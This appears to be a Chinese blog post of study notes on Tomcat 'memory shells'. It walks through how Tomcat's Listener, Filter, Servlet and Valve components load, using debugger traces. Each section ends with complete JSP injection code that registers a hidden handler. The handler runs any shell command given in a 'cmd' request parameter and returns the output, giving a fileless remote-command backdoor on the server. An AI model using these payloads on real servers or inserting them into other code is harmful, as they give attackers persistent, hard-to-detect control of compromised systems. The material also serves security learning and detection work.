/Java内存马分析(待看) Y4大佬的0-1建议看看哦,真的感觉学到了很多(思想方面吧)
https://goodapple.top/archives/1355 入坑四个月拉 ——————————————————————
/环境搭建问题与排查 tomcat动态调试环境 https://zhuanlan.zhihu.com/p/35454131 将tomcat的源码全部导入当前的源码目录
中文乱码问题 首先configuration这里加上一个-Dfile.encoding=UTF-8
其次在项目结构这: and then:
普通Maven转为Web项目 在module处加一个web项目就好,注意配置好一些路径
Artifact设置 简单设置一下结果文件即可
/Tomcat中三个Context ServletContext 在Tomcat中的servlet都基本上需要实现这个接口,规定了如果要实现一个WEB容器,他的内容就必须要包含Servletcontext里的内容,内容如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 package javax.servlet;... public interface ServletContext { String TEMPDIR = "javax.servlet.context.tempdir" ; String ORDERED_LIBS = "javax.servlet.context.orderedLibs" ; String getContextPath () ; ServletContext getContext (String var1) ; ... @Deprecated Servlet getServlet (String var1) throws ServletException; @Deprecated Enumeration<Servlet> getServlets () ; @Deprecated Enumeration<String> getServletNames () ; void log (String var1) ; @Deprecated void log (Exception var1, String var2) ; void log (String var1, Throwable var2) ; String getRealPath (String var1) ; String getServerInfo () ; String getInitParameter (String var1) ; Enumeration<String> getInitParameterNames () ; boolean setInitParameter (String var1, String var2) ; Object getAttribute (String var1) ; Enumeration<String> getAttributeNames () ; void setAttribute (String var1, Object var2) ; void removeAttribute (String var1) ; String getServletContextName () ; Dynamic addServlet (String var1, String var2) ; Dynamic addServlet (String var1, Servlet var2) ; Dynamic addServlet (String var1, Class<? extends Servlet> var2) ; Dynamic addJspFile (String var1, String var2) ; <T extends Servlet > T createServlet (Class<T> var1) throws ServletException; ServletRegistration getServletRegistration (String var1) ; Map<String, ? extends ServletRegistration > getServletRegistrations(); javax.servlet.FilterRegistration.Dynamic addFilter (String var1, String var2) ; javax.servlet.FilterRegistration.Dynamic addFilter (String var1, Filter var2) ; javax.servlet.FilterRegistration.Dynamic addFilter (String var1, Class<? extends Filter> var2) ; <T extends Filter > T createFilter (Class<T> var1) throws ServletException; FilterRegistration getFilterRegistration (String var1) ; Map<String, ? extends FilterRegistration > getFilterRegistrations(); SessionCookieConfig getSessionCookieConfig () ; void setSessionTrackingModes (Set<SessionTrackingMode> var1) ; Set<SessionTrackingMode> getDefaultSessionTrackingModes () ; Set<SessionTrackingMode> getEffectiveSessionTrackingModes () ; void addListener (String var1) ; <T extends EventListener > void addListener (T var1) ; void addListener (Class<? extends EventListener> var1) ; <T extends EventListener > T createListener (Class<T> var1) throws ServletException; JspConfigDescriptor getJspConfigDescriptor () ; ClassLoader getClassLoader () ; void declareRoles (String... var1) ; String getVirtualServerName () ; int getSessionTimeout () ; void setSessionTimeout (int var1) ; String getRequestCharacterEncoding () ; void setRequestCharacterEncoding (String var1) ; String getResponseCharacterEncoding () ; void setResponseCharacterEncoding (String var1) ; }
ApplicationContext 在Tomcat中,ServletContext的实现就是ApplicationContext其中ApplicationContext实现了ServletContext规范定义的一些方法,例如addServlet,addFilter等 往下看看可以发现ApplicationContext都是基于this.context: 绝大部分方法都是基于this.context,然后this.context实际上就是StanrdContext:
StandardContext StandardContext是Tomcat中真正起作用的Context,负责跟Tomcat的底层交互,ApplicationContext其实更像对StandardContext的一种封装。 用下面这张图来展示一下其中的关系:
/Linsten型内存马分析 在Tomcat中,处理请求的流程如下图: Listen->Filter->Servlet 因此最先接受请求并且判断的就是Listener了,这时候就可以在监听时,运行恶意代码,注入内存马,而Listener分为以下几种:
ServletContext,服务器启动和终止时触发
Session,有关Session操作时触发
Request,访问服务时触发
Request就是最好触发和注入内存马的种类了,只需要访问一个路由输入参数即可RCE 在tomcat中Listener必须实现2个接口LifecycleLisntener和EventListener: 现了LifecycleListener接口的监听器一般作用于tomcat初始化启动阶段,此时客户端的请求还没进入解析阶段,不适合用于内存马。 因此我们重点来看EventListener
:ServletRequestListener
接口继承了它,因此我们只需要用ServletRequestListener即可 servletRequestListener用于监听ServletRequest对象的创建和销毁,当我们访问任意资源,无论是servlet、jsp还是静态资源,都会触发requestInitialized方法。 在这里,通过一个demo来介绍下ServletRequestListener与其执行流程 写一个继承于ServletRequestListener接口的Listener:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 package com.boogipop;import javax.servlet.ServletContext;import javax.servlet.ServletRequestEvent;import javax.servlet.ServletRequestListener;public class listener implements ServletRequestListener { @Override public void requestDestroyed (ServletRequestEvent sre) { System.out.println("执行了TestListener requestDestroyed" ); } @Override public void requestInitialized (ServletRequestEvent sre) { System.out.println("执行了TestListener requestInitialized" ); } }
然后在web.xml去注册:
1 2 3 <listener > <listener-class > com.boogipop.listener</listener-class > </listener >
现在访问任何一个地址都会出现结果: 先执行了requestInitialized
后执行了requestDestoryed
方法
正常流程分析 在上面也说了StandardContext
对象才是真正起作用的一个Context,可以通过获取它来添加恶意监听器 下断点调试一下,在requestInitialized处: 可以看到一整套完整的调用栈,我们反向溯源一波: 在StandardContext中调用了listen.requestInitialize
方法,往上可以发现listener是从instance数组中取出的 而instance数组是通过getApplicationEventListeners()
方法所得到的,因此继续跟踪: 在StandardHostValve
中调用了fireRequestInitEvent
进而调用了getApplicationEventListeners
而getApplicationEventListeners
就是StandardContext中的一个方法,因此利用思路也很简单,可以通过获取StandardContext然后获取getApplicationEventListeners
,进而添加恶意监听器
StandardContext对象获取 因此现在的问题是如何获取StandardContext对象:
1 2 3 4 5 6 <% Field reqF = request.getClass().getDeclaredField("request" ); reqF.setAccessible(true ); Request req = (Request) reqF.get(request); StandardContext context = (StandardContext) req.getContext(); %>
方式一是以request对象为入口构造的 首先根据request对象反射获取request属性,然后再调用getContext方法获取StandardContext对象,溯源就可以发现StandardContext是Context的实现类,getContext方法返回的就是一个Context对象 方式二:
1 2 WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
方式二是以Thread为入口进行构造的,和上面的原理一样,也是一步步往上去找,会发现都对应了起来
内存马分析 根据这两种方法可以写出一个Listener内存马:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 <%@ page import ="org.apache.catalina.core.StandardContext" %> <%@ page import ="java.lang.reflect.Field" %> <%@ page import ="org.apache.catalina.connector.Request" %> <%@ page import ="java.io.InputStream" %> <%@ page import ="java.util.Scanner" %> <%@ page import ="java.io.IOException" %> <%! public class MyListener implements ServletRequestListener { public void requestDestroyed (ServletRequestEvent sre) { HttpServletRequest req = (HttpServletRequest) sre.getServletRequest(); if (req.getParameter("cmd" ) != null ){ InputStream in = null ; try { in = Runtime.getRuntime().exec(new String []{"cmd.exe" ,"/c" ,req.getParameter("cmd" )}).getInputStream(); Scanner s = new Scanner (in).useDelimiter("\\A" ); String out = s.hasNext()?s.next():"" ; Field requestF = req.getClass().getDeclaredField("request" ); requestF.setAccessible(true ); Request request = (Request)requestF.get(req); request.getResponse().getWriter().write(out); } catch (IOException e) {} catch (NoSuchFieldException e) {} catch (IllegalAccessException e) {} } } public void requestInitialized (ServletRequestEvent sre) {} } %> <% Field reqF = request.getClass().getDeclaredField("request" ); reqF.setAccessible(true ); Request req = (Request) reqF.get(request); StandardContext context = (StandardContext) req.getContext(); MyListener listenerDemo = new MyListener (); context.addApplicationEventListener(listenerDemo); %>
/Filter型内存马分析 按照上面所讲的正常流程,Listen过后就是经过Filter过滤器处理请求,和Listen对应,Filter肯定也可以注入内存马,因为Filter有doFilter方法,用来将请求放行
调用流程 首先准备一个正常的filterdemo:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 package com.kino;import javax.servlet.*;import java.io.IOException;public class filtertest implements Filter { @Override public void init (FilterConfig filterConfig) throws ServletException { System.out.println("filter初始化" ); } @Override public void doFilter (ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException, IOException { System.out.println("doFilter过滤" ); chain.doFilter(request,response); } @Override public void destroy () { System.out.println("filter销毁" ); } }
注册filter:
1 2 3 4 <filter-mapping > <filter-name > TestFilter</filter-name > <url-pattern > /*</url-pattern > </filter-mapping >
在Dofilter处下查看调用栈: 最后一步是在ApplicationFilterChain类中调用了dofilter方法,并且通过一个ApplicationFilterConfig
对象来获取所有的filters 溯源发现filters数组其实是一个ApplicationFilterConfig[]
对象数组: 继续往回走,发现在该类调用了internalDoFilter方法,个人理解为是一个对doFilter进行初始化的方法 继续往回走发现调用了StandrdWrapperValue类中的filterChain.doFilter
: 这里的filterChain是通过createFilterChain
方法所得到的: 而这个filterChain中存放的就是我们所定义的filter,可以看到filter是一个ApplicationFIlterConfig类型的数组 接下来分析一下createFilterChain是如何将我们的filter添加进ApplicationFIlterConfig的,首先先获取了Request对象,实际上就是一个HttpServlet,然后通过HttpServlet获取了Filterchain: 然后重点来了,用StandradContext获取了FilterMap数组: 后续通过FIlterMap数组找到了FilterConfig数组,然后把filterConfig放入了filterchain中: 这里的context就是上文的StandradContext了,跟进addFilter方法: 在这做的事情其实和上一步一样,遍历filter然后放入ApplicationFilterConfig[]中,这个filters数组就是上面说的ApplicationFilterConfig[]数组对象,通过调试可以发现有几个比较显眼的对象名称:
filterMaps拿名字
filterConfigs拿过滤器(值)
这两个变量在StandradContext中都有定义,其中还有个filterDefs 也是一个重要变量,这个后续会讲:
FilterMap filterMap在上文中也说了,是一个数组,存放着过滤器的名称,是用来拿名称的,既然都存放在StandradContext中,那么肯定可以通过StandradContext去添加:
FilterConfigs StandradContext既然能添加filtermaps,那应该也存在对FilterConfigs进行操作的方法: 找到溢出filterStart方法,其中调用了filterConfigs.put方法添加,从源码不难看懂这是初始化时候做的事情,因此断电重新启动一次调试: filterDefs中存放了我们的TestFilter和TestFIlter的过滤器,遍历filterdefs,拿到了key(Testfilter)和value,之后通过new一个ApplicationConfig将值存入filterConfig中:
FIlterDefs 通过分析,其实发现filterdefs才是真正存放了filter的地方,在StandradContext中也有添加filterDefs的方法: 可以想到,tomcat是从web.xml中读取的filter,然后加入了filterMap和filterDef变量中,以下对应着这两个变量 其中filter-mapping对应着filterMap了
内存马分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 <%@ page import ="org.apache.catalina.core.ApplicationContext" %> <%@ page import ="java.lang.reflect.Field" %> <%@ page import ="org.apache.catalina.core.StandardContext" %> <%@ page import ="java.util.Map" %> <%@ page import ="java.io.IOException" %> <%@ page import ="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import ="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import ="java.lang.reflect.Constructor" %> <%@ page import ="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import ="org.apache.catalina.Context" %> <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %> <% final String name = "Boogipop" ; ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context" ); appctx.setAccessible(true ); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context" ); stdctx.setAccessible(true ); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); Field Configs = standardContext.getClass().getDeclaredField("filterConfigs" ); Configs.setAccessible(true ); Map filterConfigs = (Map) Configs.get(standardContext); if (filterConfigs.get(name) == null ){ Filter filter = new Filter () { @Override public void init (FilterConfig filterConfig) throws ServletException { } @Override public void doFilter (ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) servletRequest; if (req.getParameter("cmd" ) != null ){ byte [] bytes = new byte [1024 ]; Process process = new ProcessBuilder ("bash" ,"-c" ,req.getParameter("cmd" )).start(); int len = process.getInputStream().read(bytes); servletResponse.getWriter().write(new String (bytes,0 ,len)); process.destroy(); return ; } filterChain.doFilter(servletRequest,servletResponse); } @Override public void destroy () { } }; FilterDef filterDef = new FilterDef (); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap (); filterMap.addURLPattern("/*" ); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true ); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef); filterConfigs.put(name,filterConfig); out.print("Inject Success !" ); } %>
可能大家从上往下看唯一疑惑的就是 filterMap.setDispatcher(DispatcherType.REQUEST.name());
,这一句话在上文中没有提及,因为这里其实是一个坑点: 在filterMap中有一个dispatcherMapping属性: 在这里只需要设置为REQUEST即可 之后访问内存马: 注入成功: 到此告一段落拉~
/Servlet型内存马 妈的插一嘴啊,本来是打算赶紧写完Servlet的分析的,但是中途看到了个Tomcat回显技术,给我又整过去看那个了,没办法只能一起写了,知识真的是越看越多妈的比 按照正常的流程,FIlter过后就是Servlet拉~ 写一个正常的servlet:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 package com.kino;import javax.servlet.ServletException;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;public class testservlet extends HttpServlet { @Override protected void doGet (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { resp.getWriter().write("123" ); } @Override protected void doPost (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { doGet(req, resp); } }
注册一下xml
流程分析 在org.apache.catalina.core.StandardContext类的startInternal()方法中,我们能看到Listener->Filter->Servlet的加载顺序:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 if (ok) { checkConstraintsForUncoveredMethods(findConstraints()); } try { Manager manager = getManager(); if (manager instanceof Lifecycle) { ((Lifecycle) manager).start(); } } catch (Exception e) { log.error(sm.getString("standardContext.managerFail" ), e); ok = false ; } if (ok) { if (!filterStart()) { log.error(sm.getString("standardContext.filterFail" )); ok = false ; } } if (ok) { if (!loadOnStartup(findChildren())){ log.error(sm.getString("standardContext.servletFail" )); ok = false ; } } super .threadStart(); } finally { unbindThread(oldCCL); }
创建StandardWrapper 在StandardContext#startInternal中,调用了fireLifecycleEvent()方法解析web.xml文件,我们在此下断点跟进: 在ContextConfig#webConfig()
解析了xml文件: 随之在WebConfig中调用了configureContext: 跟进这个函数看看做了什么:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 ......... for (ServletDef servlet : webxml.getServlets().values()) { Wrapper wrapper = context.createWrapper(); if (servlet.getLoadOnStartup() != null ) { wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue()); } if (servlet.getEnabled() != null ) { wrapper.setEnabled(servlet.getEnabled().booleanValue()); } wrapper.setName(servlet.getServletName()); Map<String,String> params = servlet.getParameterMap(); for (Entry<String, String> entry : params.entrySet()) { wrapper.addInitParameter(entry.getKey(), entry.getValue()); } wrapper.setRunAs(servlet.getRunAs()); Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs(); for (SecurityRoleRef roleRef : roleRefs) { wrapper.addSecurityReference( roleRef.getName(), roleRef.getLink()); } wrapper.setServletClass(servlet.getServletClass()); MultipartDef multipartdef = servlet.getMultipartDef(); if (multipartdef != null ) { long maxFileSize = -1 ; long maxRequestSize = -1 ; int fileSizeThreshold = 0 ; if (null != multipartdef.getMaxFileSize()) { maxFileSize = Long.parseLong(multipartdef.getMaxFileSize()); } if (null != multipartdef.getMaxRequestSize()) { maxRequestSize = Long.parseLong(multipartdef.getMaxRequestSize()); } if (null != multipartdef.getFileSizeThreshold()) { fileSizeThreshold = Integer.parseInt(multipartdef.getFileSizeThreshold()); } wrapper.setMultipartConfigElement(new MultipartConfigElement ( multipartdef.getLocation(), maxFileSize, maxRequestSize, fileSizeThreshold)); } if (servlet.getAsyncSupported() != null ) { wrapper.setAsyncSupported( servlet.getAsyncSupported().booleanValue()); } wrapper.setOverridable(servlet.isOverridable()); context.addChild(wrapper); } for (Entry<String, String> entry : webxml.getServletMappings().entrySet()) { context.addServletMappingDecoded(entry.getKey(), entry.getValue()); }
最后用了context.addServletMappingDecoded
加了对应的路由:
加载StandWrapper 最后在StandradContext的findChilren获取了StandradWrapper类: 回到一开始说的加载完Listen,filter就该servlet了: 通过loadOnstartup()方法加载我们的wrapper
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 public boolean loadOnStartup (Container children[]) { TreeMap<Integer, ArrayList<Wrapper>> map = new TreeMap <>(); for (Container child : children) { Wrapper wrapper = (Wrapper) child; int loadOnStartup = wrapper.getLoadOnStartup(); if (loadOnStartup < 0 ) { continue ; } Integer key = Integer.valueOf(loadOnStartup); ArrayList<Wrapper> list = map.get(key); if (list == null ) { list = new ArrayList <>(); map.put(key, list); } list.add(wrapper); } for (ArrayList<Wrapper> list : map.values()) { for (Wrapper wrapper : list) { try { wrapper.load(); } catch (ServletException e) { getLogger().error(sm.getString("standardContext.loadOnStartup.loadException" , getName(), wrapper.getName()), StandardWrapper.getRootCause(e)); if (getComputedFailCtxIfServletStartFails()) { return false ; } } } } return true ; }
上面有个判断loadOnStartup的值需要大于0才会继续去加载,这里的loadOnStartup对应servlet的懒加载机制(通过注解来设置路由等等),默认值为-1,此时只有当servlet被调用时Servlet才会被加载到内存中
内存马——动态注册Servlet(参考枫师傅) 通过上文的分析我们能够总结出创建Servlet的流程
获取StandardContext对象
编写恶意Servlet
通过StandardContext.createWrapper()创建StandardWrapper对象
设置StandardWrapper对象的loadOnStartup属性值
设置StandardWrapper对象的ServletName属性值
设置StandardWrapper对象的ServletClass属性值
将StandardWrapper对象添加进StandardContext对象的children属性中
通过StandardContext.addServletMappingDecoded()添加对应的路径映射1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 <%@ page import ="java.lang.reflect.Field" %> <%@ page import ="org.apache.catalina.core.StandardContext" %> <%@ page import ="org.apache.catalina.connector.Request" %> <%@ page import ="java.io.IOException" %> <%@ page import ="org.apache.catalina.Wrapper" %> <%@ page import ="java.io.InputStream" %> <%@ page import ="java.util.Scanner" %> <%@ page import ="java.io.PrintWriter" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% Field reqF = request.getClass().getDeclaredField("request" ); reqF.setAccessible(true ); Request req = (Request) reqF.get(request); StandardContext standardContext = (StandardContext) req.getContext(); %> <%! public class Shell_Servlet implements Servlet { @Override public void init (ServletConfig config) throws ServletException { } @Override public ServletConfig getServletConfig () { return null ; } @Override public void service (ServletRequest req, ServletResponse res) throws ServletException, IOException { String cmd = req.getParameter("cmd" ); boolean isLinux = true ; String osTyp = System.getProperty("os.name" ); if (osTyp != null && osTyp.toLowerCase().contains("win" )) { isLinux = false ; } String[] cmds = isLinux ? new String []{"sh" , "-c" , cmd} : new String []{"cmd.exe" , "/c" , cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner (in).useDelimiter("\\a" ); String output = s.hasNext() ? s.next() : "" ; PrintWriter out = servletResponse.getWriter(); out.println(output); out.flush(); out.close(); } @Override public String getServletInfo () { return null ; } @Override public void destroy () { } } %> <% Shell_Servlet shell_servlet = new Shell_Servlet (); String name = "Boogipop" ; Wrapper wrapper = standardContext.createWrapper(); wrapper.setLoadOnStartup(1 ); wrapper.setName(name); wrapper.setServlet(shell_servlet); wrapper.setServletClass(shell_servlet.getClass().getName()); %> <% standardContext.addChild(wrapper); standardContext.addServletMappingDecoded("/shell" ,name); %>
用的时候吧注释去掉,会报错QWQ: 哟西成功注入,Servlet就告一段落了
/Value型内存马 流程分析 参考:https://xz.aliyun.com/t/11988#toc-19 value是Tomcat中对Container组件进行的扩展。Container组件也就是前文一直提及的Tomcat四大容器 Tomcat由四大容器组成,分别是Engine、Host、Context、Wrapper 。这四个组件是负责关系,存在包含关系。只包含一个引擎(Engine):
Engine(引擎):表示可运行的Catalina的servlet引擎实例,并且包含了servlet容器的核心功能。在一个服务中只能有一个引擎。同时,作为一个真正的容器,Engine元素之下可以包含一个或多个虚拟主机。它主要功能是将传入请求委托给适当的虚拟主机处理。如果根据名称没有找到可处理的虚拟主机,那么将根据默认的Host来判断该由哪个虚拟主机处理。 Host (虚拟主机):作用就是运行多个应用,它负责安装和展开这些应用,并且标识这个应用以便能够区分它们。它的子容器通常是 Context。一个虚拟主机下都可以部署一个或者多个Web App,每个Web App对应于一个Context,当Host获得一个请求时,将把该请求匹配到某个Context上,然后把该请求交给该Context来处理。主机组件类似于Apache中的虚拟主机,但在Tomcat中只支持基于FQDN(完全合格的主机名)的“虚拟主机”。Host主要用来解析web.xml。 Context(上下文):代表 Servlet 的 Context,它具备了 Servlet 运行的基本环境,它表示Web应用程序本身。Context 最重要的功能就是管理它里面的 Servlet 实例,一个Context代表一个Web应用,一个Web应用由一个或者多个Servlet实例组成。 Wrapper(包装器):代表一个 Servlet,它负责管理一个 Servlet,包括的 Servlet 的装载、初始化、执行以及资源回收。Wrapper 是最底层的容器,它没有子容器了,所以调用它的 addChild 将会报错。
其实上述的话可以用下面这张图很好的概括: 在四个组件中都有pipeline,而储存在pipeline中的就是对应的Value,我们可以创建一个demo分析一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 package com.kino;import org.apache.catalina.connector.Request;import org.apache.catalina.connector.Response;import org.apache.catalina.core.StandardContext;import org.apache.catalina.valves.ValveBase;import javax.servlet.ServletException;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.lang.reflect.Field;class EvilValve extends ValveBase { @Override public void invoke (Request request, Response response) throws IOException, ServletException { System.out.println("111" ); try { Runtime.getRuntime().exec(request.getParameter("cmd" )); } catch (Exception e) { } } } public class testvalue extends HttpServlet { @Override protected void doGet (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { try { Field reqF = req.getClass().getDeclaredField("request" ); reqF.setAccessible(true ); Request request = (Request) reqF.get(req); StandardContext standardContext = (StandardContext) request.getContext(); standardContext.getPipeline().addValve(new EvilValve ()); resp.getWriter().write("inject success" ); } catch (Exception e) { } } }
在sout上打上debug,然后调试看看: 调用栈中出现了很多value,并且可以看到触发的第一个value是StandardEngineValue,最后才是我们自定义的value,因此可以跳到StandardEngineValue中看一看: 在这里获取到了第一个value,接下来就是按顺序不断的获取value,从这里可以发现,value链是通过invoke方法进行放行的,当前value的invoke执行后就会执行下一个value的invoke方法 ,我们进一步溯源: 从这一步可以看出获取组件的顺序,先获取Container在获取pipeline最后获取value 并且在StandardPipeline中有方法addvalue
: 那么我们注入的思路就很明确了
获取contenxt 1 2 3 4 5 Field requestField = request.getClass().getDeclaredField("request" ); requestField.setAccessible(true ); final Request request1 = (Request) requestField.get(request); StandardContext standardContext = (StandardContext) request1.getContext();
获取pipeline 1 2 3 Field pipelineField = ContainerBase.class.getDeclaredField("pipeline" ); pipelineField.setAccessible(true ); StandardPipeline standardPipeline1 = (StandardPipeline) pipelineField.get(standardContext);
创建恶意value并且添加进standardpipeline 1 2 3 4 5 6 7 8 9 10 11 12 ValveBase valveBase = new ValveBase () { @Override public void invoke (Request request, Response response) { try { Runtime.getRuntime().exec("calc" ); } catch (Exception e) { e.printStackTrace(); } } }; standardPipeline1.addValve(valveBase);
这里为了让程序继续执行下去,恶意value类也必须要调用下一个value的invoke方法,否则无法正常进行:this.getNext().invoke(request, response);
完整代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 <%@ page import ="java.lang.reflect.Field" %> <%@ page import ="org.apache.catalina.connector.Request" %> <%@ page import ="org.apache.catalina.valves.ValveBase" %> <%@ page import ="org.apache.catalina.connector.Response" %> <%@ page import ="java.io.IOException" %> <%@ page import ="org.apache.catalina.core.*" %> <%@ page import ="java.io.InputStream" %> <%@ page import ="java.util.Scanner" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% Field requestField = request.getClass().getDeclaredField("request" ); requestField.setAccessible(true ); final Request request1 = (Request) requestField.get(request); StandardContext standardContext = (StandardContext) request1.getContext(); Field pipelineField = ContainerBase.class.getDeclaredField("pipeline" ); pipelineField.setAccessible(true ); StandardPipeline standardPipeline1 = (StandardPipeline) pipelineField.get(standardContext); ValveBase valveBase = new ValveBase () { @Override public void invoke (Request request, Response response) throws ServletException,IOException { if (request.getParameter("cmd" ) != null ) { boolean isLinux = true ; String osTyp = System.getProperty("os.name" ); if (osTyp != null && osTyp.toLowerCase().contains("win" )) { isLinux = false ; } String[] cmds = isLinux ? new String []{"sh" , "-c" , request.getParameter("cmd" )} : new String []{"cmd.exe" , "/c" , request.getParameter("cmd" )}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner (in).useDelimiter("\\A" ); String output = s.hasNext() ? s.next() : "" ; response.getWriter().write(output); response.getWriter().flush(); this .getNext().invoke(request, response); } } }; standardPipeline1.addValve(valveBase); out.println("evil valve inject done!" ); %>
总结 到这里的话,Tomcat内存马分析就正式告一段落了,接下来就是分析spring内存马和tomcat内存马结合反序列化的利用